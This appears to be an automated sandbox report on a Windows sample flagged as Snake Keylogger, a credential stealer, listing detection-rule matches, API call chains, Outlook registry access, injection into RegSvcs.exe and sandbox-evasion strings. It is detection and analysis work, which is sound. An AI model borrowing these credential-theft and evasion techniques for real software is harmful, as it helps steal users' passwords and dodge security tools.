Source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@3/3

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0063A06A GetLastError,FormatMessageW,

1_2_0063A06A

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_006281CB AdjustTokenPrivileges,CloseHandle,		1_2_006281CB
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_006287E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		1_2_006287E1

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0063B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

1_2_0063B333

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0064EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

1_2_0064EE0D

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_006483BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

1_2_006483BB

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

1_2_005D4E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

File created: C:\Users\user\AppData\Local\Temp\aut2999.tmp

Jump to behavior

Source: h8izmpp1ZM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.3755631219.000000000422D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.00000000032E6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.00000000032F6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003318000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003304000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003325000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: h8izmpp1ZM.exe	ReversingLabs: Detection: 70%
Source: h8izmpp1ZM.exe	Virustotal: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\h8izmpp1ZM.exe "C:\Users\user\Desktop\h8izmpp1ZM.exe"
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\h8izmpp1ZM.exe"
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\h8izmpp1ZM.exe"	Jump to behavior

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: h8izmpp1ZM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: h8izmpp1ZM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: h8izmpp1ZM.exe, 00000001.00000003.1288270233.0000000003610000.00000004.00001000.00020000.00000000.sdmp, h8izmpp1ZM.exe, 00000001.00000003.1286665447.00000000037B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: h8izmpp1ZM.exe, 00000001.00000003.1288270233.0000000003610000.00000004.00001000.00020000.00000000.sdmp, h8izmpp1ZM.exe, 00000001.00000003.1286665447.00000000037B0000.00000004.00001000.00020000.00000000.sdmp

Source: h8izmpp1ZM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: h8izmpp1ZM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: h8izmpp1ZM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: h8izmpp1ZM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: h8izmpp1ZM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D4B37 LoadLibraryA,GetProcAddress,

1_2_005D4B37

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005DC4C6 push A3005DBAh; retn 005Dh		1_2_005DC50D
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F8945 push ecx; ret		1_2_005F8958

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005D48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		1_2_005D48D7
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00655376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		1_2_00655376

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005F3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_005F3187

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

API/Special instruction interceptor: Address: 11892CC

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: h8izmpp1ZM.exe, 00000001.00000003.1278808454.0000000001003000.00000004.00000020.00020000.00000000.sdmp, h8izmpp1ZM.exe, 00000001.00000002.1295087607.0000000001092000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: h8izmpp1ZM.exe, 00000001.00000002.1297160229.0000000001167000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXESB'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593954	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1374			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8440			Jump to behavior

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-102169

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

API coverage: 4.5 %

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063445A GetFileAttributesW,FindFirstFileW,FindClose,	1_2_0063445A
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063C6D1 FindFirstFileW,FindClose,	1_2_0063C6D1
